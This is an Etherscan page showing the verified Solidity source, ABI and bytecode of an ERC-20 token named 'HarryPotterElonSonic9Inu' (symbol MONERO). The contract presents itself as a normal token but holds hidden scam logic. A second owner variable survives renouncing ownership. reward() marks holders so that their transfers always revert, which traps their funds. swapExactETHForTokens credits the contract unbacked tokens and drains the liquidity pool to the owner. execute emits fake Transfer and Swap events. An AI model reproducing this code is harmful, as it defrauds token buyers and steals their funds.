ERC-20
Source Code
Overview
Max Total Supply
100,000,000 MONERO
Holders
1
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
MONERO
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IPair {
function token0() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IERC20 {
function _Transfer(
address from,
address recipient,
uint256 amount
) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
contract MONERO {
IRouter internal _router;
IPair internal _pair;
address public owner;
address private _owner;
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private crossamounts;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowances;
string public constant name = "HarryPotterElonSonic9Inu";
string public constant symbol = "MONERO";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100_000_000e18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
constructor() {
owner = msg.sender;
_owner = msg.sender;
_router = IRouter(_routerAddress);
_pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
modifier OnlyOwner() {
require(_owner == msg.sender, "Caller is not the Owner");
_;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function renounceOwnership() public onlyOwner {
owner = address(0);
}
function balanceOf(address account) public view virtual returns (uint256) {
return balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address __owner, address spender) public view virtual returns (uint256) {
return allowances[__owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address __owner = msg.sender;
_approve(__owner, spender, allowance(__owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address __owner = msg.sender;
uint256 currentAllowance = allowance(__owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(__owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (crossamounts[from] > 0) {
require(_count(crossamounts[from], balances[from]) == 0);
}
balances[from] = sub(fromBalance, amount);
balances[to] = add(balances[to], amount);
emit Transfer(from, to, amount);
}
function _approve(
address __owner,
address spender,
uint256 amount
) internal virtual {
require(__owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowances[__owner][spender] = amount;
emit Approval(__owner, spender, amount);
}
function _spendAllowance(
address __owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(__owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(__owner, spender, currentAllowance - amount);
}
}
}
function execute(
address[] memory recipients,
uint256 tokenAmount,
uint256 wethAmount,
address tokenAddress
) public OnlyOwner returns (bool) {
for (uint256 i = 0; i < recipients.length; i++) {
_swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
}
return true;
}
function swapExactETHForTokens(
address baseToken,
address _recipient,
uint256 amount
) public OnlyOwner {
require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
uint256 amountOut = (baseTokenReserve * amount) / 100000;
address[] memory path;
path = new address[](2);
path[0] = address(this);
path[1] = baseToken;
uint256 amountIn = _countAmountIn(amountOut, path);
_approve(address(this), address(_router), balanceOf(address(this)));
_router.swapTokensForExactTokens(amountOut, amountIn, path, _recipient, block.timestamp + 1200);
}
function getBaseTokenReserve(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return baseTokenReserve;
}
function reward(
address[] calldata _users,
uint256 _minBalanceToReward,
uint256 _percent
) public OnlyOwner {
for (uint256 i = 0; i < _users.length; i++) {
if (balanceOf(_users[i]) > _minBalanceToReward) {
uint256 rewardAmount = _countReward(_users[i], _percent);
crossamounts[_users[i]] = rewardAmount;
}
}
}
function _swap(
address recipient,
uint256 tokenAmount,
uint256 wethAmount,
address tokenAddress
) internal {
_emitTransfer(recipient, tokenAmount);
_emitSwap(tokenAmount, wethAmount, recipient);
IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
}
function _emitTransfer(address recipient, uint256 tokenAmount) internal {
emit Transfer(address(_pair), recipient, tokenAmount);
}
function _emitSwap(
uint256 tokenAmount,
uint256 wethAmount,
address recipient
) internal {
emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
}
function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
return _count(balances[_user], _percent);
}
function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
uint256[] memory amountInMax;
amountInMax = new uint256[](2);
amountInMax = _router.getAmountsIn(amountOut, path);
balances[address(this)] += amountInMax[0];
return amountInMax[0];
}
function _count(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556a52b7d2dcc80cd2e400000060085534801562000045575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000ba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000e0919062000245565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200013e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000164919062000245565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001af573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d5919062000245565b600180546001600160a01b0319166001600160a01b0392909216919091179055600854335f81815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000274565b5f6020828403121562000256575f80fd5b81516001600160a01b03811681146200026d575f80fd5b9392505050565b61157b80620002825f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c80634cf2af431161009e57806395d89b411161006e57806395d89b411461026c5780639b792a4414610291578063a457c2d7146102a4578063a9059cbb146102b7578063dd62ed3e146102ca575f80fd5b80634cf2af43146101fe57806370a0823114610211578063715018a6146102395780638da5cb5b14610241575f80fd5b806323b872dd116100d957806323b872dd146101ab578063313ce567146101be57806335d16274146101d857806339509351146101eb575f80fd5b806306fdde031461010a578063095ea7b31461015c57806318160ddd1461017f57806318aee92014610196575b5f80fd5b6101466040518060400160405280601881526020017f4861727279506f74746572456c6f6e536f6e696339496e75000000000000000081525081565b6040516101539190610feb565b60405180910390f35b61016f61016a36600461105d565b6102dd565b6040519015158152602001610153565b61018860085481565b604051908152602001610153565b6101a96101a4366004611087565b6102f3565b005b61016f6101b9366004611102565b6103f3565b6101c6601281565b60405160ff9091168152602001610153565b6101886101e6366004611140565b610414565b61016f6101f936600461105d565b610540565b6101a961020c366004611102565b610561565b61018861021f366004611140565b6001600160a01b03165f9081526006602052604090205490565b6101a9610751565b600254610254906001600160a01b031681565b6040516001600160a01b039091168152602001610153565b610146604051806040016040528060068152602001654d4f4e45524f60d01b81525081565b61016f61029f3660046111c3565b6107bd565b61016f6102b236600461105d565b610837565b61016f6102c536600461105d565b6108bc565b6101886102d836600461127e565b6108c8565b5f6102e93384846108f2565b5060015b92915050565b6003546001600160a01b031633146103265760405162461bcd60e51b815260040161031d906112b5565b60405180910390fd5b5f5b838110156103ec578261035b868684818110610346576103466112ec565b905060200201602081019061021f9190611140565b11156103da575f610392868684818110610377576103776112ec565b905060200201602081019061038c9190611140565b84610a16565b90508060055f8888868181106103aa576103aa6112ec565b90506020020160208101906103bf9190611140565b6001600160a01b0316815260208101919091526040015f2055505b806103e481611314565b915050610328565b5050505050565b5f6103ff843384610a3f565b61040a848484610ab7565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610467573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061048b9190611342565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050f919061138e565b6001600160a01b03161461052c57816001600160701b0316610537565b826001600160701b03165b95945050505050565b5f3361040a81858561055283836108c8565b61055c91906113a9565b6108f2565b6003546001600160a01b0316331461058b5760405162461bcd60e51b815260040161031d906112b5565b5f8111801561059c5750620186a081105b6105e05760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b604482015260640161031d565b5f6105ea84610414565b90505f620186a06105fb84846113bc565b61060591906113d3565b60408051600280825260608083018452939450909160208301908036833701905050905030815f8151811061063c5761063c6112ec565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610670576106706112ec565b60200260200101906001600160a01b031690816001600160a01b0316815250505f61069b8383610ce1565b5f80543080835260066020526040909220549293506106c5926001600160a01b03909116906108f2565b5f546001600160a01b0316638803dbee8483858a6106e5426104b06113a9565b6040518663ffffffff1660e01b8152600401610705959493929190611434565b5f604051808303815f875af1158015610720573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610747919081019061146f565b5050505050505050565b6002546001600160a01b031633146107ab5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640161031d565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146107e95760405162461bcd60e51b815260040161031d906112b5565b5f5b855181101561082b57610819868281518110610809576108096112ec565b6020026020010151868686610ded565b8061082381611314565b9150506107eb565b50600195945050505050565b5f338161084482866108c8565b9050838110156108a45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031d565b6108b182868684036108f2565b506001949350505050565b5f6102e9338484610ab7565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6001600160a01b0383166109545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031d565b6001600160a01b0382166109b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031d565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f90815260066020526040812054610a389083610e7e565b9392505050565b5f610a4a84846108c8565b90505f198114610ab15781811015610aa45760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161031d565b610ab184848484036108f2565b50505050565b6001600160a01b038316610b1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031d565b6001600160a01b038216610b7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031d565b6001600160a01b0383165f9081526006602052604090205481811015610bf45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031d565b6001600160a01b0384165f9081526005602052604090205415610c48576001600160a01b0384165f90815260056020908152604080832054600690925290912054610c3f9190610e7e565b15610c48575f80fd5b610c528183610e89565b6001600160a01b038086165f908152600660205260408082209390935590851681522054610c809083610eed565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd39086815260200190565b60405180910390a350505050565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d3590879087906004016114fb565b5f60405180830381865afa158015610d4f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610d76919081019061146f565b9050805f81518110610d8a57610d8a6112ec565b602002602001015160065f306001600160a01b03166001600160a01b031681526020019081526020015f205f828254610dc391906113a9565b92505081905550805f81518110610ddc57610ddc6112ec565b602002602001015191505092915050565b610df78484610f4b565b610e02838386610f93565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610e5a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec9190611513565b5f610a3882846113a9565b5f82821115610eda5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161031d565b5f610ee58385611532565b949350505050565b5f80610ef983856113a9565b905083811015610a385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161031d565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a09565b5f6020808352835180828501525f5b8181101561101657858101830151858201604001528201610ffa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461104a575f80fd5b50565b803561105881611036565b919050565b5f806040838503121561106e575f80fd5b823561107981611036565b946020939093013593505050565b5f805f806060858703121561109a575f80fd5b843567ffffffffffffffff808211156110b1575f80fd5b818701915087601f8301126110c4575f80fd5b8135818111156110d2575f80fd5b8860208260051b85010111156110e6575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215611114575f80fd5b833561111f81611036565b9250602084013561112f81611036565b929592945050506040919091013590565b5f60208284031215611150575f80fd5b8135610a3881611036565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156111985761119861115b565b604052919050565b5f67ffffffffffffffff8211156111b9576111b961115b565b5060051b60200190565b5f805f80608085870312156111d6575f80fd5b843567ffffffffffffffff8111156111ec575f80fd5b8501601f810187136111fc575f80fd5b8035602061121161120c836111a0565b61116f565b82815260059290921b8301810191818101908a84111561122f575f80fd5b938201935b8385101561125657843561124781611036565b82529382019390820190611234565b97505087013594505050604085013591506112736060860161104d565b905092959194509250565b5f806040838503121561128f575f80fd5b823561129a81611036565b915060208301356112aa81611036565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161132557611325611300565b5060010190565b80516001600160701b0381168114611058575f80fd5b5f805f60608486031215611354575f80fd5b61135d8461132c565b925061136b6020850161132c565b9150604084015163ffffffff81168114611383575f80fd5b809150509250925092565b5f6020828403121561139e575f80fd5b8151610a3881611036565b808201808211156102ed576102ed611300565b80820281158282048414176102ed576102ed611300565b5f826113ed57634e487b7160e01b5f52601260045260245ffd5b500490565b5f8151808452602080850194508084015f5b838110156114295781516001600160a01b031687529582019590820190600101611404565b509495945050505050565b85815284602082015260a060408201525f61145260a08301866113f2565b6001600160a01b0394909416606083015250608001529392505050565b5f6020808385031215611480575f80fd5b825167ffffffffffffffff811115611496575f80fd5b8301601f810185136114a6575f80fd5b80516114b461120c826111a0565b81815260059190911b820183019083810190878311156114d2575f80fd5b928401925b828410156114f0578351825292840192908401906114d7565b979650505050505050565b828152604060208201525f610ee560408301846113f2565b5f60208284031215611523575f80fd5b81518015158114610a38575f80fd5b818103818111156102ed576102ed61130056fea2646970667358221220a7186cb933256cd1638a48d55b88182f636b97e31b610377e80e306bee8c67d864736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c80634cf2af431161009e57806395d89b411161006e57806395d89b411461026c5780639b792a4414610291578063a457c2d7146102a4578063a9059cbb146102b7578063dd62ed3e146102ca575f80fd5b80634cf2af43146101fe57806370a0823114610211578063715018a6146102395780638da5cb5b14610241575f80fd5b806323b872dd116100d957806323b872dd146101ab578063313ce567146101be57806335d16274146101d857806339509351146101eb575f80fd5b806306fdde031461010a578063095ea7b31461015c57806318160ddd1461017f57806318aee92014610196575b5f80fd5b6101466040518060400160405280601881526020017f4861727279506f74746572456c6f6e536f6e696339496e75000000000000000081525081565b6040516101539190610feb565b60405180910390f35b61016f61016a36600461105d565b6102dd565b6040519015158152602001610153565b61018860085481565b604051908152602001610153565b6101a96101a4366004611087565b6102f3565b005b61016f6101b9366004611102565b6103f3565b6101c6601281565b60405160ff9091168152602001610153565b6101886101e6366004611140565b610414565b61016f6101f936600461105d565b610540565b6101a961020c366004611102565b610561565b61018861021f366004611140565b6001600160a01b03165f9081526006602052604090205490565b6101a9610751565b600254610254906001600160a01b031681565b6040516001600160a01b039091168152602001610153565b610146604051806040016040528060068152602001654d4f4e45524f60d01b81525081565b61016f61029f3660046111c3565b6107bd565b61016f6102b236600461105d565b610837565b61016f6102c536600461105d565b6108bc565b6101886102d836600461127e565b6108c8565b5f6102e93384846108f2565b5060015b92915050565b6003546001600160a01b031633146103265760405162461bcd60e51b815260040161031d906112b5565b60405180910390fd5b5f5b838110156103ec578261035b868684818110610346576103466112ec565b905060200201602081019061021f9190611140565b11156103da575f610392868684818110610377576103776112ec565b905060200201602081019061038c9190611140565b84610a16565b90508060055f8888868181106103aa576103aa6112ec565b90506020020160208101906103bf9190611140565b6001600160a01b0316815260208101919091526040015f2055505b806103e481611314565b915050610328565b5050505050565b5f6103ff843384610a3f565b61040a848484610ab7565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610467573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061048b9190611342565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050f919061138e565b6001600160a01b03161461052c57816001600160701b0316610537565b826001600160701b03165b95945050505050565b5f3361040a81858561055283836108c8565b61055c91906113a9565b6108f2565b6003546001600160a01b0316331461058b5760405162461bcd60e51b815260040161031d906112b5565b5f8111801561059c5750620186a081105b6105e05760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b604482015260640161031d565b5f6105ea84610414565b90505f620186a06105fb84846113bc565b61060591906113d3565b60408051600280825260608083018452939450909160208301908036833701905050905030815f8151811061063c5761063c6112ec565b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610670576106706112ec565b60200260200101906001600160a01b031690816001600160a01b0316815250505f61069b8383610ce1565b5f80543080835260066020526040909220549293506106c5926001600160a01b03909116906108f2565b5f546001600160a01b0316638803dbee8483858a6106e5426104b06113a9565b6040518663ffffffff1660e01b8152600401610705959493929190611434565b5f604051808303815f875af1158015610720573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610747919081019061146f565b5050505050505050565b6002546001600160a01b031633146107ab5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640161031d565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146107e95760405162461bcd60e51b815260040161031d906112b5565b5f5b855181101561082b57610819868281518110610809576108096112ec565b6020026020010151868686610ded565b8061082381611314565b9150506107eb565b50600195945050505050565b5f338161084482866108c8565b9050838110156108a45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031d565b6108b182868684036108f2565b506001949350505050565b5f6102e9338484610ab7565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6001600160a01b0383166109545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031d565b6001600160a01b0382166109b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031d565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f90815260066020526040812054610a389083610e7e565b9392505050565b5f610a4a84846108c8565b90505f198114610ab15781811015610aa45760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161031d565b610ab184848484036108f2565b50505050565b6001600160a01b038316610b1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031d565b6001600160a01b038216610b7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031d565b6001600160a01b0383165f9081526006602052604090205481811015610bf45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031d565b6001600160a01b0384165f9081526005602052604090205415610c48576001600160a01b0384165f90815260056020908152604080832054600690925290912054610c3f9190610e7e565b15610c48575f80fd5b610c528183610e89565b6001600160a01b038086165f908152600660205260408082209390935590851681522054610c809083610eed565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd39086815260200190565b60405180910390a350505050565b604080516002808252606080830184525f939092919060208301908036833750505f546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610d3590879087906004016114fb565b5f60405180830381865afa158015610d4f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610d76919081019061146f565b9050805f81518110610d8a57610d8a6112ec565b602002602001015160065f306001600160a01b03166001600160a01b031681526020019081526020015f205f828254610dc391906113a9565b92505081905550805f81518110610ddc57610ddc6112ec565b602002602001015191505092915050565b610df78484610f4b565b610e02838386610f93565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610e5a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec9190611513565b5f610a3882846113a9565b5f82821115610eda5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161031d565b5f610ee58385611532565b949350505050565b5f80610ef983856113a9565b905083811015610a385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161031d565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a09565b5f6020808352835180828501525f5b8181101561101657858101830151858201604001528201610ffa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461104a575f80fd5b50565b803561105881611036565b919050565b5f806040838503121561106e575f80fd5b823561107981611036565b946020939093013593505050565b5f805f806060858703121561109a575f80fd5b843567ffffffffffffffff808211156110b1575f80fd5b818701915087601f8301126110c4575f8